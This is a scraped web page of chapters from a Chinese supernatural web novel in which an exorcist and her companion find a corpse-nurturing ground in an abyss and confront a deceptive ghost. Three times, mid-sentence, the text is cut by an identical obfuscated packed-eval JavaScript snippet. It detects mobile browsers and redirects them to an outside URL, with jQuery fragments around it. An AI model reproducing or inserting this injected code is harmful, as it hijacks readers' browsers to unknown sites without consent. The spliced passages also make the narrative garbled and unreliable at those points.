木清梅之所以没事,很可能是她眼疾手快,将马大旺一家推出去当了挡箭牌,又咻的一下躲到了三枚的身后,才逃过了一劫。 “是真的!”她飘到了三枚的前方,竖起三根手指发誓道:“我当时就是心慌错乱了,我和那群幽冥可不一样。” “不然,你以为那只大掌,会就这样轻易地放过我吗?” 回应木清梅的,只有三枚和陆衎双脚踩在地上发出的脚步声。 接连被三枚无视的木清梅,小脾气劲儿上来了,伸手就要去拉扯三枚的胳膊,还没靠近呢,手背就被突然出现的线香烫出了一个窟窿。 “啊啊啊!!烫死我!”她大声尖叫,连忙缩回手,嘴巴对着手背呼呼吹着气。 木清梅眼睛一瞪,对着陆衎吼道:“你打我作甚!” 陆衎面无表情,直视前方,声音冷沉地道:“少动手动脚。” “哼!”木清梅对着陆衎做了个鬼脸,“小气鬼!” “咳咳。”三枚轻咳一声,将陆衎拉回身边,“别被她转移了话题。” 轻轻睨了木清梅一眼,三枚:“我算是轻信了白老太,还以为她口中的‘阿梅小姐’,真是个天真无辜的小姑娘。” 听见三枚提及白老太,木清梅刹那瞪大了眼睛,惊喜地道:“你说的是白雪玉白婶子吧?你怎么认识的她?她过得好吗?” 三枚撇了撇嘴,根本不搭茬,自顾说道:“哼,什么大家闺秀千金小姐,不想,却是个满嘴没一句实话的撒谎精!” “我不是撒谎精!” 木清梅大喊一声,想为自己辩解几句,双手双脚却被三枚之前打出的咒印紧紧缠着,完全影响了自己的发挥,气得她咻的一下飞到了高空,把自己膨胀成了一个大圆球。 狂风吹得她披头散发,像个狰狞的厉鬼,三枚却依旧步履从容的被陆衎牵着往前走。 三枚在陆衎指出那群幽冥,就是川临县古井村无声无息消失的村民时,立刻便沉了脸。 不管是白老太,还是木清梅自己的说辞都表明,她最少也已经死了五十年,六年前才发生鬼村事件的古井村村民,怎么可能会在她失足坠崖的时候及时出手帮助。 时间线根本就搭不上。 若不是陆衎指出来,天真的三枚还被蒙在鼓里呢。 木清梅一噎,还在无限膨胀的魂体,哗啦一下就泄了气,又恢复成了原状。 她心虚地垂下了脑袋,“我、我不就是,为了把故事说得更生动一点,更离奇曲折一点吗?” “所以,稍稍添油加醋了一点,也是为了保持、保持趣味性呀。” 三枚忍不住翻了个白眼,小手一抬,阻止了木清梅苍白无力的狡辩,漫不经心地道:“不用说了。” 事实真相到底如何,到了那群幽冥的葬身之地,一切就都明了了。 木清梅还要说话,三枚打在她身上的咒印,像长了脚似的,眨眼就从她的手上滋溜到了脸上。 “呜呜呜......”嘴巴说不了话,木清梅急得张牙舞爪。 她双手用力掰着嘴巴,掰着掰着,忽而一愣,“我的双手居然重获自由了?” 这个发现,喜得她差点找不到北,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715556|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑意才洋溢了一半,想问问三枚是不是原谅自己了,又是一顿,她现在说不了话了! 于是木清梅神色一半喜悦一半哀伤,委屈兮兮地看着三枚,“呜呜呜”指着自己的嘴巴。 三枚将脑袋一别,小手对着木清梅一指,抬眸跟陆衎说道:“告诉她,我现在不想听见她的声音。” 陆衎一挑眉,轻轻扫了眼还在掰着嘴巴装可怜的幽冥少女,不咸不淡地道:“听见了?” 木清梅:......这两口子,一个比一个霸道! —— 少了一个在耳边叽喳不停的声音,三枚顿觉清净了不少。 她和陆衎安静地在黑渊里走走停停,顺着香雾飘散的方向,七拐八弯地走了好一会儿。 然而,他们越走,弥漫在周围的雾气越来越厚,视野变得越来越模糊,空气也逐渐稀薄了起来。 木清梅一会儿原地蹦跳,一会儿腾空飘到他们的面前,赤急白脸地伸手一直在比比划划。 三枚从始至终,再没有正眼瞧过她一眼,把她急得又是掰着嘴巴,又是去抠脸上的咒印。 “三枚,”静谧的黑渊里,忽而响起陆衎有些低沉的声音,“香要完了。” 三枚闻言,抬眼看去,就见陆衎一直拿在手里的线香,已经快要燃烬。 星点的火焰变得更加猩红,原本徐徐飘散在空中的灰色香雾,乍然化作升腾的黑烟,打着转儿往上飞去。 “我给你的铢钱,还带在身上吗?”三枚盯着浓烟旋飞的方向,突然问道。 陆衎挑眉,倏而想起之前在水都遇险的时候,三枚让他把铢钱握在掌心的事情。 警惕的冷眸,顿时变得更加严阵以待,面上却是不动声色,他轻轻晃了晃握着三枚的手,温声道:“从未离身。” 当初三枚亲手为他戴在手腕上的铢钱,不管做什么事,陆衎都不曾摘下来过。 “那就好。”三枚眼睛瞟了两人交握的手一眼,点头道。 话音落地,邪风又起,呼啸而过时,阴嗖嗖的,带着渗人的寒意。 风拂过的地方,撩起了浓郁雾瘴,露出了掩映之后的光景。 三枚只轻轻扫了一眼,瞳孔倏而瞪大,心跳蓦然快速地跳动了起来。 眼见陆衎抬脚还要往前走,三枚立马停下脚步,与他紧紧交握在一起的手,用力把人往后一拽。 “嗯?”陆衎身子一顿,顺着三枚的力道退到了她的身侧,“怎么了?” 三枚小脸上的神情,是从未有过的冷峻,“不能再往前走了。” 陆衎蹙眉,眼睛快速地扫了周围一圈,发现总是闹腾的木清梅,不知何时已经不见了影踪。 他脚下一挪,条件反射地展开双臂,几乎将三枚的半边身子都护在了怀里。 这时线香彻底燃烧殆尽,余留的一点香灰,缓缓地随风倒下,慢慢地落到了陆衎的手背。 “香完了。”他在三枚的耳边轻声道。 风又起,卷起遮挡在他们眼前的浓雾。 看着前方土色呈黑,质地疏松,却好似散发着诡异气息的土地,陆衎眉头紧皱。 乍然出现的土地,远远望去,就像一只脊背瘦弱的猫,懒散散地趴在倾斜的地上一样。 陆衎拦着三枚肩膀的手:“这是——” “嘘!” 三枚的声音发紧,咽了咽口水,带着陆衎慢慢往后退,她的声音很轻很轻地道:“老猫伏地,是为阴穴。” “这片黑渊,原是一块养尸地!” 92. 第 92 章 养尸地界,生人勿近。 陆衎:“养尸地?” 三枚:“老猫伏地,九阴也。” “老猫?”陆衎一愣,他果然没有看错,放眼再望那块地的地形,就像窝着一只猫,十分瘦长的猫。 他拧着眉头,又问:“什么是养尸地?” 阵阵阴风卷来,令周围的气氛,一下变得更加森冷可怕。 三枚带着陆衎撤到了安全的距离,左右张望了一会儿,找了块地势高点儿的小坡地,自上而下观望着远处的黑色土地。 “据记载,埋葬在养尸地的尸体不会自然腐坏,天长日久后,常年不腐的尸体,吸收月光精华,等到时机成熟了,僵硬的尸体就会身体屹立起来,成为行尸走肉的僵尸。这样的阴邪地方,就叫做养尸地。” 一般的养尸地,无论是时间和温度都会发生异常,比如土质阴寒,发黑松散,气闭性形成的阴森气场,会对活人造成压迫,很容易令人窒息或者出现奇怪的幻觉。 在养尸地附近,很少能看见有生物存活的情况,至少不可能有活物生活在其附近。 陆衎认真听着,抬眼远眺那块瘦长的猫形地,“这儿,应该不是普通的养尸地吧?” 凭自己对三枚的了解,若是区区一块养尸地,是不可能会让她露出那般凝重的神情的。 三枚歪头,看了陆衎一眼,见他神色正常,身上火气挺旺,情绪亦没有异常。 想来是刚才他们后撤得及时,没有被那养尸地周边的阴气影响到。 “你也感觉出不对劲了吧?”三枚伸手,竖起三根手指,慢声说道:“书上记载,所谓的养尸地,一般分为三种。” “山川河流,大自然天然生成的地理环境,经过风吹雨打、日照月影,自然而然形成的大凶之地,此称作天然养尸地。” 陆衎:“既分有天然形成的,那便是有后天改造的养尸地。” “正是。” 三枚一手背在身后,一手在虚空比划着,“这种一般是在原有的自然地貌,可能是平平无奇的一块山地,也可能是某处风水宝地,经过人为刻意改变了周围的环境,致使宝地变凶地。” “还有一种呢?”陆衎看着三枚问道。 “还有一种,是无中生有。” 三枚伸出一根手指,轻轻地画了一个圆圈,“这种类型的养尸地,便不拘泥于自然山水风貌,随便选一块地儿,只要不让地气与尸体相互交汇,便可。” “哦对了,地气指的是土地山川所赋的、能够促进迸发自然生机的灵气,隔绝了地气,聚阴旺盛,再以阴气滋养尸体,即便是一座普普通通的宅邸,也能养尸。” 虽然没什么限制,但操作难度比较大,想要保证周围环境绝对隐蔽阴寒,不是一件易事。 “那这黑渊里的,”陆衎将视线移到前方,看着偶尔闪过一瞬神秘寒光的猫形地,耳边时不时听见微弱的、好似呼吸的声音,“属于哪一种养尸地?” 三枚缓缓地伸出了四根手指,“属于第四种,活死人养尸地。” 陆衎拧眉:“活死人养尸地?” “没错。”三枚点头,缓缓道来,“这个黑渊,毋庸置疑是一个极凶之地,然而地气却十分蓬勃。” 伸手拂过又开始汇聚起来的雾气,她慢声道:“这些白茫茫的烟气,在形成阴森雾瘴之前,应该就是从地下散发而出的地气。” 黑渊极凶,却地气强盛,按道理是绝对无法形成养尸地的,而且按照这深渊里的湿度,葬身在这儿的尸首,很容易腐朽溃烂才是。 然而事实是,除了遍布在高处的崖壁上的青苔之外,周围肉眼所过之处,几乎看不见一点绿色,全是白茫茫的烟雾。 陆衎问道:“有人改变了这儿的风水环境?” 三枚却是摇头,“若想将一个生机旺盛的地儿,变成一个合格的养尸地,只有釜底抽薪。” “把这儿的生机,全部化作自己想要的阴气,为己所用。”说到这里,三枚不由叹了口气,“想要达到这个最终目的,必须用活人的阳寿作蛊。” “活死人养尸地,简单来说,就是拿活人来养阴地。” 她的眉头皱成了一块疙瘩,强调道:“大量的活人!” “人的本能即是求生,被活埋在地下的人互相争夺生机,不知不觉变相地互相残杀,最后存活下来的最强者,靠吞噬怨气和煞气,即成为蛊。” 然而活死人养尸这样惨无人道的邪术,是连邪修都不敢轻易触碰的禁术。 三枚之所以能了解得这样详细,皆因家中有个酷爱藏书读史的好娘亲。 陆衎将注意力从猫形地上移开,突然发现一直黏在三枚身边的木清梅不见了。 眉头一皱,他警惕地观察着四周,问道:“木清梅呢?” “这地儿太阴了,阴得她一个幽冥都瑟瑟发抖,躲回自己的地儿去了。”三枚从锁魂箱里摸出了一只两指宽的紫铜色小铃铛。 木清梅身上被打了咒印,逃不出她的手掌心的,“估计她没想到,我们真的能找到这地儿来。” 诶,对啊,相比较自己对养尸地的一知半解,和陆衎的一无所知,在这儿呆了近五十年的木清梅,肯定比他们知道的更多。 这样想着,三枚扯了扯左手腕上的红绳,打算木清梅给拽到身边发问,却惊讶地发现,红绳的另一端,居然什么都没有! 木清梅居然破开了自己结下的咒印之术,逃了! 不可能! 咒印打上木清梅时,不管是她脸上痛苦狰狞的神情,还是剧烈挣扎的魂体,俱都十分真实,并非作假。 三枚若有所思地盯着那片养尸地,看着地面一上一下,十分微弱却很规律的浮动,陷入了沉思。 她的思维开始发散:养尸地已成雏形,那群化作雾影的幽冥,生气亦是寥寥无几。 那么,木清梅的魂体呢? 完好无损! 三枚脑中忽而冒出一个念头:木清梅的死,应该不像她们所说的,是一场失足坠崖的意外。 或许,眼前的这片养尸地,根本就与她密切相关。 陆衎看着有些发蒙,眼神呆呆的三枚,突然握着她总是冰凉凉的双手,慢慢地搓了起来。 陷入沉思的三枚,被这突如其来的动作,瞬间拉回了现实。 她低头看了眼陆衎的动作,杏眸飞快地眨了眨。 “我体质如此,并非寒冷所致。”她说。 陆衎手上的动作一顿,抬眸轻轻扫了三枚一眼,突然问道:“马大旺一家三口,以及古井村消失的村民们,都被埋葬在地底下吗?” 三枚耸了耸肩:“那得看了才知道。” 让陆衎松开自己的手,她将背在身后锁魂箱卸下,蹲下-身子在上面又开始敲敲打打了起来。 她站起来,让陆衎帮忙拿着小铃铛,自顾自开始甩手,踢腿拉筋活动筋骨,最后缓缓地伸了个懒腰,“来都来了,总不好空手而归吧。” 从陆衎的手里拿回小铃铛,三枚从长袖里抽出了一宗小卷轴。 轻轻打开,卷轴之上,一尘不染,空白一片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721699|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“等会儿我会进到那养尸地里——” “我不同意!” 她才说了半句话,就被陆衎强行打断。 “诶,你听我说完啊,”三枚看着陆衎皱眉黑脸,一副随时就要生气的样子,无奈地道,“我只是进去探一探——” 陆衎:“那我也去。” “不行!”这回轮到三枚断然拒绝了,“你阳气这样重,若是进了那养尸地,还不被扯吧吸干了啊!” “我就不一样了,”三枚举起小铃铛,微微笑道,“我就没有什么危险——” “你怎么就能保证,一定没有危险了?”陆衎又强行截断了话头,脸色看起来更不好。 “陆衎!”三枚揉了揉有些发紧的眉心,“我说,听我把话说完!” 她佯装咬牙切齿,气鼓鼓地举起了拳头,跳起来在陆衎面前威胁似的挥了挥,“再插嘴打断我的话,叫你试试我的厉害!” 三枚故意装狠的小表情,和夸张的小动作,完全打在了陆衎的心尖上,他抿唇,努力压下想要上扬的唇角。 “唉。”他发现自己好像真的拿三枚一点办法都没有。 叹了一口气,陆衎伸手将三枚的拳头完全包在掌心里,面色无奈,又难掩宠溺地道:“你说,我听着。” “哼!”三枚任由他握着自己拳头,心里却是松了一口气。 “这张卷轴你拿着,将我进入养尸地后的动线,大致给标记出来,”三枚下巴微抬,点了点陆衎的手腕,“就用那枚铢钱标记。” 见陆衎抿唇,虽然皱着的眉头依旧没能舒展,一看就是顾虑重重,但好在这次没有再打断她的话了。 三枚在心里点了点头,忽而向前一步,主动拉近了两人的距离。 她杏眸微抬,自下而上盯着陆衎的眼睛,让他放心:“我很惜命的,绝对做不出舍身拼命的冒险举动,遇到状况不对劲,绝对不会逞强。” 陆衎轻轻睨了三枚一眼,不动神色地把人往身边拉了拉,“那我呢?就干站在这儿画画?” 他声音明明又冷漠又低沉,三枚却听出一丝丝的委屈之意。 “谁说让你干站着了?” 三枚眼睛警惕地扫了周围一圈,压着声音道,“你要一边记录我的动线,一点观察地面起伏的情况。” “那些被暴力拉扯回到尸地的幽冥,可能会从某个地方突然冒出。”她隐蔽地用小指勾了勾陆衎腕上的红绳,借着两人几乎要挨在一起的身体遮掩,快速地与自己腕上的红绳打了个无形的小结。 小结打完,忽而红光一闪,一个透明的咒印便已形成。 “只要它们一冒头,你便勾一下红绳,到时我会摇响铃铛,记住,只要一听见铃声响,你立马就将锁魂箱里的小棺椁打开,拔出萝卜带出泥,到时候,一个幽冥都别想跑!” 三枚严肃地看着陆衎:“听清楚了吗?” 尽管心里还是担心三枚,但大局为重,陆衎皱着眉头,最终还是点头了。 这一脸妥协又委屈兮兮的可怜模样,真是...... 眨了眨眼,又咽了咽口水,三枚微微蹙眉,在脑海里搜索着她娘平时是如何哄闹别扭的她爹的。 “诶,有了!” 三枚的眼睛一亮,忽而踮起脚尖,对着陆衎的侧脸,飞快地亲了一下。 陆衎眼睛猛然瞪大,冷眸里的瞳孔,剧烈地震动晃荡,迅速涨红的耳尖,眨眼便蔓延到了脸上。 见他一副说不出话的乖巧模样,三枚嘴角满意地勾起一抹笑,心里一乐:哈,还挺好哄! 93. 第 93 章 三枚轻装上阵,左手提着紫铜色的小铃铛,右手托着她的破瓷碗,从小土坡上一跃而下。 全身充满干劲的陆衎,第一次将五铢钱从腕上的红绳解下,拿在手中,刷刷地在卷轴上画了起来。 趁着三枚还未走近养尸地的间隙,他眼疾手快,一气呵成,须臾就将诡异非常的猫形地,精细入微地画在了卷轴上。 不管是那猫形地上,疑似在瘦长的脊背上,开了条瘦长而狭窄的路,还是路的下方,堆在形似窝巢旁边的石头,他都仔仔细细地画了出来。 甚至还在石头上的斑纹,和斑纹中间,都分别贴心地注明了绿色和白色。 陆衎画画的功夫,三枚也在不断地靠近养尸地。 她走动的路线,并非笔直,而是非常地没有规律。 几乎每走一步,三枚都会停顿一下,双眼则十分谨慎地观察着周围浮动的雾芒。 只要雾芒浮动的幅度稍微大一点,她便立即拐弯,转换方位。 从小土坡到养尸地,不长不短的一段距离,她走了足足有半刻钟之久。 站在养尸地的东方位上,三枚突然在心里感慨了一声:“还是想活的啊。” 东方位,象征着鸟语花香、绿芽出新的春天,犹如太阳升起的清晨,充满了积极的朝气和旺盛的活力。 新生命,阳光伊始,一切事物重新起源的地方。 尽管十分微弱,但三枚清楚地感受到,这片土地,向她发出求救的信号。 也是,谁的生命都是弥足珍贵的,即使自己的血脉生机被残忍地剥削得所剩无几,也不妨碍众生求生的本能。 三枚将手中的破瓷碗轻轻地放到了正东的方位上,左手提着的小铃铛一晃。 铃铛里的金属丸子互相撞击,却并未发出任何的声音。 须臾,她将腕上的五铢钱,顺时针沿着碗沿转了一圈,最后轻轻地丢进了破瓷碗里。 “当啷”一声脆响,轻扬而悠长。 三枚抿了抿唇,重新把破瓷碗托在右手掌心,忽而弯腰,对着前方,虔诚而恭敬地鞠了一躬,“在下序三,打扰了。” 轻声道完,她才终于迈步,走进了养尸地。 —— 一走进养尸地,一股阴寒之气,瞬间自脚底板呼呼往身体里窜,三枚忍不住打了一个寒颤。 伴随着阴寒之气而来的,还有徐徐拂面的邪风,擦过人的脸颊,湿冷湿冷的。 养尸地界,几乎没有一点生气,阴风阵阵,连续不断,周围的雾气却一动不动,死气沉沉。 三枚很谨慎,先是安静地站在原地,对着四周环顾一圈,接着将紫铜色的小铃铛高举过头顶,再轻轻地晃了晃。 铃铛里头的小小金属丸子互相撞击了几下,仍旧没有发出响声,三枚却不急也不躁。 她举着铃铛的手腕轻摇不停,直到从她的来时路上,如柳絮一般缓缓地飘来白绒绒的烟丝,慢慢地附着到了铃铛上。 眼见那柳絮般的烟丝,全都稳定了下来之后,三枚才停止了摇铃的动作。 铃铛引入生气,原本感到有些凝滞的呼吸,终于顺畅了起来。 三枚深深地呼吸了一大口气,极缓极慢地从口中吐出,简单的一呼一吸间,方才涌进她身体里的寒颤,慢慢被从逼退了出去。 过了一会儿,她的体温慢慢地恢复了正常。 “现在,让我们一起来找找看吧,所谓的极阴之界,到底藏在哪里了。” 与之前在养尸地外一走一停顿不同,三枚就站在原地不动,铃铛仍旧高举过头顶,但这次她手里摇晃的,却是安静躺在右手破瓷碗里的五铢钱。 三枚托着瓷碗的手只晃了一下,便停了下来,然而五铢钱却在碗里转个不停,而且越转越快,越转幅度越大。 她聚精会神,杏眸一直盯着两枚铢钱看,耐心地等待着。 过了好一会儿,碗里才传来一声清脆的响声。 “当啷。” 一大一小的两枚铢钱,忽而叠加在了一起,在瓷碗的正中心停顿了一会儿,就又继续转动了起来。 三枚这时候准备开始走动了,只见她脚尖点地,轻轻转动了下脚腕,深呼吸了一口气,便顺着铢钱指引的方向快速地疾走了起来。 “首先西北方,”她的脚程很快,沿着西北方向,三步并作一步走,这时破瓷碗又响起了“当啷”声,眼睛向下一瞥,她立马又换了个方向,“正西方位。” “当啷!” “正南方位。” “当啷!” “正东方位。” ...... 接下来的半刻钟,“当啷”声一响,三枚便转换方向,若是一直没有声音,她便一直笔直往前走,直到下一声脆响响起。 她疾走的速度越来越快,一刻不停,面色从容,嘴里一直念叨着方位词。 “东南方、正北、东北,最后是——”三枚脚下忽而一顿,停在了西南方位上。 她杏眸一瞪,倏而回头一望,心里飞快地数着,“天水山雷,风火地泽,全齐活了。” “口”字回形阵! 结界的阵眼就在中心的位置。 再回首,三枚看向推算出来的阵眼位置,果然阴气最盛,而且上方居然隐隐约约浮动着一缕太阳光。 这样的深渊之下,这缕阳光,是从哪里投射下来的? 三枚的视线追着光晕里轻微浮动的微尘,慢慢往上眺望。 忽而一阵阴风吹来,将缭绕在空中的浓雾驱散。 于是,她便看见了消失许久的木清梅,正倚靠在木府云阁里的栏杆上,嬉笑着朝自己招手。 一如先前,三枚在黑山寨外的破庙里做的幻梦一般,而此时木清梅的红唇张张合合,能清晰地发出声音了。 “终于找到了呢。”她的声音娇娇柔柔,“我在这儿,等了你好久、好久了呢。” 这次换三枚默不作声了,她拧着眉头观察了好一会儿,一直高抬铃铛的手臂,缓慢地垂到了身侧。 长期受到关照的地方,明明乃极阳之地,如今却成了滋养阴尸的极凶墓穴。 木清梅,你身在局中,又扮演着怎样的角色? —— “很棘手吗?” 陆衎见三枚什么都没做,很快原路返回。 此时她神色有些愁闷,坐在小山坡上,眼睛盯着远处那个养尸地,手里不停地颠着破瓷碗。 五铢钱在碗底被颠得上上下下,却是一点声音都没有。 “还行吧。”过了一会儿,三枚开口说道。 手肘杵着膝盖,掌心托着下巴,她轻轻地叹了口气,“养尸地已基本养成了,古井村的那些村民,尽管还有气在,但也不能留了。” 原本三枚想着,即使希望渺茫,但能救一个算一个吧,但是没办法了。 那些幽冥已经回到了自己的身体里,被活埋在地下的古井村民们,就要被炼成行尸走肉、没有自我意识的活死人了。 “马大旺一家呢?”陆衎沉声问道。 三枚摇头:“迟了。” “黑渊,是真正的、世间难得一遇的风水宝地,地下能源源不断氤氲出稀有的灵气和无限的生气。” 她举起手中的铃铛,示意陆衎去看附着在铃铛上面的棉絮一般的白绒雾团。 “就这么薄薄的一层,不仅帮我抵抗掉了养尸地里,企图侵蚀我阳寿的阴邪之气,”她抓着陆衎的手,“感受到了吗?我说过我体质向来寒凉,手脚无论四季,总是又冰又凉。” 陆衎握着三枚温热而柔软的小手,听她声音清脆地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725809|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“不仅体质,我身上大大小小的陈年旧疾,基本都被治愈了。” “这样神奇的一块地,想要被蚕食殆尽所有的灵气生源,绝对不是区区古井村的七百活死人,就能做到的。” 三枚拧眉,看着陆衎的神情十分严肃认真:“我姑且大胆猜测,在这个养尸地里,炼制成功的活死人,至少数以万计。” “那么,这些数以万计的活死人,被转移到了哪里呢?是为何用?” 藏在阴暗角落、隐秘施加邪术的幕后主谋,是谁?他现在在哪里?谋划这些,目的又是什么? 三枚声音又轻又缓,接二连三的问题,将陆衎都给问懵了。 数以万计这样的计数方式,只有在大战或者统计战死沙场的将士兵卒,才会用到的词眼,居然被用在了这里。 陆衎感到有些冲击,望着那块闪着阴森诡异光线的养尸地,三枚的问题一直在他的脑子里循环响起。 有一瞬间,他感觉自己的脑子成了一团浆糊,三枚的问题一下又一下地砸在他的头上,令他一时有些无言以对。 “活死人是什么东西,你知道吗?”陆衎终于找回了自己的声音。 “顾名思义,活死人,既非活人亦非死人。”三枚轻声道,“我也只是在书上看见过记载。” “据说他们是一群丧失理智、却穷凶极恶的一种生命体,有着超出常人的力量,爆发性强,攻击性十分强烈,喜欢成群结队,吞食活人或其他动物的血肉。” “更重要的是,”三枚的声音越来越低,脸上神情愈加凝重,她看着陆衎的眼睛,一字一顿地道:“他们更像是一种瘟疫,会接连不断的传染给其他人。” 陆衎:“瘟疫?是被他们接触到,就会被传染吗?” “这个书上没说。”三枚摇头,将目光重新投射到养尸地上,“但我觉得没那么简单。” 阴地还为养成,即使活死人炼成,估计威力也大打折扣。 否则,施加邪术的背后之人,就不用一直大费周章,一直在这里重复炼尸了。 陆衎觉得有些头痛,按着青筋直跳的额头,问道:“那书上,有记载这些活死人的弱点吗?” 总不至于成为不死不伤的铜墙铁壁了吧? “确实有弱点。”三枚这次没有让他失望。 陆衎眼前一亮,追问道:“是什么?” 三枚杏眸眨了又眨,脆生生地道:“书上只说了它有个致命的弱点,但具体是什么,没写!” 陆衎:......什么人写的破书,如此之任性! “阿嚏!”远在千里之外的序莽,打了个震天响的打喷嚏,“糟糕,莫不是要着凉?”吓得他赶紧在盛夏的天,给自己添置了一件外裳。 见陆衎眉头都皱成了个疙瘩,俊俏的美人脸,一副心事重重的忧愁模样,三枚忽而大腿一拍。 “看来,若是想要找到问题的答案,揪出幕后之人”她一边若有所思地挠着下巴,一边皱着小脸,“那个神秘的古井村,势必是要走上那么一遭了。” 陆衎心里有些不愿意,不希望三枚冒险,但他这次学乖了,最后却什么话都没说。 三枚见陆衎对自己的话没有反对,轻轻挑了挑眉,“但在那之前,我觉得我有必要,再到那黑山寨一趟。” 白老太一定还藏着秘密,没有跟自己讲清楚。 木清梅和黑渊,以及这个养尸地,肯定存在着什么联系,她得弄清楚了才放心。 “然而现在当务之急的是,”三枚小手一抬,对着已经开始呼呼往上冒白烟的养尸地,轻轻一指,“趁着天黑之前,得把这儿的麻烦,给解决了。” 陆衎:“怎么解决?” “简单。”三枚勾唇一笑。 “放火,让它焚化自救,回归伊始!” 94. 第 94 章 “就是古井村的村民,和马大旺他们——”三枚虽然想好了要怎么做,但心里还是有些犹豫。 “他们现在,”陆衎不用看,听声音就知道三枚又开始心软了,“身体被活埋在地下那么长时间,遭受的罪难已经够多了。” 即便还剩着一口气,也早已经成了人不人鬼不鬼的行尸走肉,总不能眼睁睁看着他们,真的被邪术炼制成活死人。 “给他们一个痛快吧。”陆衎对着三枚说道。 他的神色肃穆,冷锐的眼睛里明明冰寒一片,三枚却从他微皱的眉心,看见了丝丝淡淡的悲悯之色。 “你说得没错!”三枚拍了拍脸,振作了下精神,“长痛不如短痛,我让他们早点解脱,才是为了他们好。” 陆衎摸了摸三枚红彤彤的小脸,有些无奈地道:“你真的......对自己下手还挺重啊。” 手劲那么大,脸都拍红了。 三枚却是不以为意,拿过陆衎画好的卷轴,看了一眼就又塞回他的手中,“我再上养尸地里一趟,先把阵眼给封了。” 陆衎从怀里拿出一个火折子,“需要火折子吗?” “有是最好。”三枚让陆衎把东西先收起来,“放火的事,等我出来再说。” 她小拇指朝陆衎勾了勾,“还记得我之前怎么跟你说的吗?” 铃铛一响,就把锁魂箱打开。 记得一清二楚的陆衎,微微点头,也伸出小拇指,轻轻地勾住了三枚的,“记得。” 小指勾小指,像是在拉钩作着什么约定似的,三枚左右晃晃,忍不住笑了起来。 气氛瞬间就没有刚才那么地沉闷了,陆衎看着三枚的笑容,嘴角也跟着微微上扬。 —— 二入养尸地,三枚没有之前那般小心翼翼。 她已经确认过了一遍,埋在养尸地下的,不管是半死不活的尸体,还是魂游体外的幽冥,现在皆是能量最为微弱的阶段——分离太久的二者,正在慢慢地融合。 等到融合完全之后,照射在墓穴之上的阳光,会在刹那变成幽冷的月光,完全泯灭生者的自我意识,进行尸变。 尸变,是炼尸的最后一个阶段。 三枚打算先将养尸地里的阵眼封闭,再和陆衎跑得远远的,最后放上一把旺火,让这地阴阳对冲,浴火重生。 心里计划好所有的步骤,三枚依旧抱着敬畏之意,对着养尸地缓缓地行了一礼后,才缓步走了进去。 破瓷碗轻轻一晃,两枚轻巧的五铢钱,又开始在碗里旋转了起来。 三枚右手高举着紫色小铃铛,一步一摇,还是之前的方位顺序,西北、正西、......,最后是西南方位。 站在西南方位,她缓缓抬头,虚空之上的浮影依旧是依靠在云阁栏杆上的木清梅,正巧笑嫣然地对着三枚挥着小手。 “你终于来了呀,”木清梅的声音很轻很柔,一双水汪汪的大眼睛,仿佛会说话一般看着三枚,满是娇嗔地道,“你知道吗,我在这儿,等了你好久、好久......好久好久了呀......” 三枚拧着眉头,慢慢地闭上了自己的双眼,在心里叹道:“你应该一开始就实话实说的。” 何必兜兜转转这么一大圈,又演又唱的。 木清梅摇头轻笑,“你看起来,不像是会多管闲事的人。” 三枚一噎,她确实不是。 若不是遭了那姓涂的小贼暗算,她现在估计已经在回山门的路上了。 “其实吧,”木清梅又道,“之前在路上,我就想过要向你坦白的,但是......” 闹脾气的三枚,用咒印将她的嘴巴给封住了。 说不了话,比手画脚又惨遭无视,自己也是没了办法了。 “你个撒谎精还有理了?”三枚睁开眼睛,满头黑线一脸无语。 又被骂撒谎精的木清梅,气鼓鼓地嘟起了嘴,“我才不是撒谎精!” “我只是将时间线打乱,虚虚实实各掺一半,说出来的话,并非完全作假。” 时间紧凑,三枚不想再跟木清梅继续掰扯下去,翻了个白眼后,她猛然睁开双眼,“少废话,趁现在还有点时间,你赶紧将你知道的,一五一十老实交代清楚了。” 木清梅脑袋一歪,嘟着嘴巴道:“其实,我知道的,与你了解和心里猜测的,基本大差不离。” 五十年前,眼下的这块地,灵气和生气还很充足,木清梅坠崖后,确实曾经被一股暖烘烘的气流接住了,有了缓冲和疗愈,令即使丢了一魂的她,没有立即丧命,而是多苟活了一年之久。 她死后魂魄一分为三,直到三枚带着巧儿的骨灰和亡灵回到黑山寨,才完整凑合,这件事也确实是真的。 “我死后残魂落魄的,除了一副幽魂的形态,什么都做不了。” 三枚:“从地下出来的活死人,五十年来,你见过不少吧?” 迟疑了一瞬,木清梅缓缓点头:“是的。” “但我起初,并不清楚那些人到底怎么了。” 木清梅的人生,基本是一张白纸,乍然看见从地下爬上一群人来,吓得她以为是有人借尸还魂,也是到后来,才发现那些人很不对劲。 